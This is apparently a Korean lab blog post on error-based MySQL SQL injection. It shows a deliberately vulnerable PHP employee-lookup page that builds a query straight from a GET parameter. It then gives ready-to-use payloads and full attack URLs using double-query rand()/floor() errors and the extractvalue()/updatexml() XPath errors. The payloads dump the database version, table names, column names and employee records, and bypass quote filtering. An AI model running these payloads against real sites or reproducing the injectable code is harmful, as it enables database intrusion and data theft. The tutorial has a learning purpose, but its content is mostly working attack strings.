SQLi

MySQL Error(Double Query, XML 내장함수) SQLi (rand(), floor(), limit, offset, ifnull, extractvalue(), updatexml())

JoGeun 2020. 4. 17. 13:34

소스코드 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
 
if(!$link = mysql_connect('localhost''root''root')) {
        echo 'Could not connect to mysql';
        exit;
}
 
if (!mysql_select_db('northwind'$link)){
        echo 'Could not select database';
        exit;
}
 
$_empid = $_GET['empid'];
$sql = 'SELECT * FROM Employees WHERE employeeid=' . $_empid;
$result = mysql_query($sql$link);
 
if(!$result){
        echo "db error, could not query the database\n";
        echo 'MySQL error: '.mysql_Error();
        exit;
}
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td><td>Title</td><td>Hire Date</td>\n\t</tr>";
while($row = mysql_fetch_assoc($result)){
        print "\t<tr>\n\t\t<td>".$row['EmployeeID']."</td><td>".$row['FirstName']."</td><td>".$row['Title']."</td><td>".$row['HireDate']."</td>\n\t</tr>\n";
}
print "</table>\n";
 
mysql_free_result($result);
?>
cs

- http://192.168.1.46/empinfo_id.php?empid=1

 

싱글쿼터 주입 시 에러 발생

- http://192.168.1.46/empinfo_id.php?empid=1%27

Double Query 방식

Double Query 방식으로 오류를 발생시켜 진행되는지 확인해 본다.

Payload : 1 and 1=(select count(*) from(select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b)%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20count(*)%20from(select%20count(*),%20concat(version(),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%23

데이터베이스 버전이 출력이 이루어졌음으로 다음으로는 limit, offset 사용과 함께 [테이블 추출]해본다.

offset 값을 변경하여 하나씩 추출하면 된다.

Payload : 1 and 1=(select a from(select count(*), concat((select table_name from information_schema.tables where table_type='base table' limit 1 offset 0), floor(rand(0)*2))a from information_schema.tables group by a)b)%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20a%20from(select%20count(*),%20concat((select%20table_name%20from%20information_schema.tables%20where%20table_type=%27base%20table%27%20limit%201%20offset%200),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%23

 

[칼럼 추출]

Payload : 1 and 1=(select a from(select count(*), concat((select column_name from information_schema.columns where table_name='Employees' limit 1 offset 0), floor(rand(0)*2))a from information_schema.columns group by a)b)%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20a%20from(select%20count(*),%20concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27Employees%27%20limit%201%20offset%200),%20floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a)b)%23

 

[데이터 추출]할 시엔 Null 값에 유의하면 MySQL에선 ifnull 함수를 사용하여 Null이 존재할 시에 치환을 해주며 concat으로 여러 데이터를 한번에 뽑아 준다.

Payload : 1 and 1=(select a from(select count(*), concat((select concat(ifnull(EmployeeID,''),ifnull(FirstName,'')) from Employees limit 1 offset 0), floor(rand(0)*2))a from Employees group by a)b)%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20a%20from(select%20count(*),%20concat((select%20concat(ifnull(EmployeeID,%27%27),ifnull(FirstName,%27%27))%20from%20Employees%20limit%201%20offset%200),%20floor(rand(0)*2))a%20from%20Employees%20group%20by%20a)b)%23

 

XML 내장함수

XML 내장함수에서 에러가 발생할 시 원인이 되는 XPATH 구문이 노출되는 형식이며 XPATH 구문에서 데이터를 획득하는 방법이다.

 

내장함수 중 extractvalue를 이용하여 진행이 가능한지 확인해본다.

Payload : 1 and 1=(extractvalue(1,concat(0x2c,version())))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,concat(0x2c,version())))%23

 

버전이 출력이 이루어 졌으므로 [테이블 정보]를 추출해본다.

Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select table_name from information_schema.tables where table_type='base table' limit 1 offset 2))))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,%20concat(0x2c,(select%20table_name%20from%20information_schema.tables%20where%20table_type=%27base%20table%27%20limit%201%20offset%202))))%23

 

싱글쿼터 필터링이 존재할시 엔 substring, substr로도 출력이 가능하다.

Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select table_name from information_schema.tables where substr(table_type,1,1)=(0x62) limit 1 offset 2))))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,%20concat(0x2c,(select%20table_name%20from%20information_schema.tables%20where%20substr(table_type,1,1)=(0x62)%20limit%201%20offset%202))))%23

 

[칼럼 추출]

Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select column_name from information_schema.columns where table_name='Employees' limit 1 offset 2))))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,%20concat(0x2c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27Employees%27%20limit%201%20offset%202))))%23

[데이터 추출] (concat(), concat_ws() 둘다 사용 가능)

Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select concat(EmployeeID,0x2c,FirstName) from Employees limit 1 offset 2))))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,%20concat(0x2c,(select%20concat(EmployeeID,0x2c,FirstName)%20from%20Employees%20limit%201%20offset%202))))%23

 

XML 내장함수 같은 경우 에러가 출력되는 길이가 32길이로 제한이 존재한다. 그래서 데이터가 길때는 짤려서 나옴으로 substr(), substring()함수로 여러번 분할해서 출력을 해준다.

Payload1 : 1 and 1=(extractvalue(1, concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),1,32) from Employees limit 1 offset 2))))%23
Payload2 : 1 and 1=(extractvalue(1, concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),33,32) from Employees limit 1 offset 2))))%23

 

updatexml 내장함수도 같은 형식으로 이루어진다.

가능한 여부의 확인방법은 아래와 같이 이루어지며 진행이 가능하면은 같은 Payload를 삽입하여 진행한다.

Payload : 1 and 1=(updatexml(1,concat(0x2c,version()),1))%23

- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(updatexml(1,concat(0x2c,version()),1))%23

Payload : (updatexml(1,concat(0x2c,(select table_name from information_schema.tables where table_type='base table' limit 1 offset 1)),1))%23
Payload : (updatexml(1,concat(0x2c,(select table_name from information_schema.tables where substr(table_type,1,1)=(0x62) limit 1 offset 2)),1))%23
Payload : (updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='Employees' limit 1 offset 2)),1))%23
Payload : (updatexml(1,concat(0x2c,(select concat(EmployeeID,0x2c,FirstName) from Employees limit 1 offset 2)),1))%23 


Payload : (updatexml(1,concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),1,32) from Employees limit 1 offset 2)),1))%23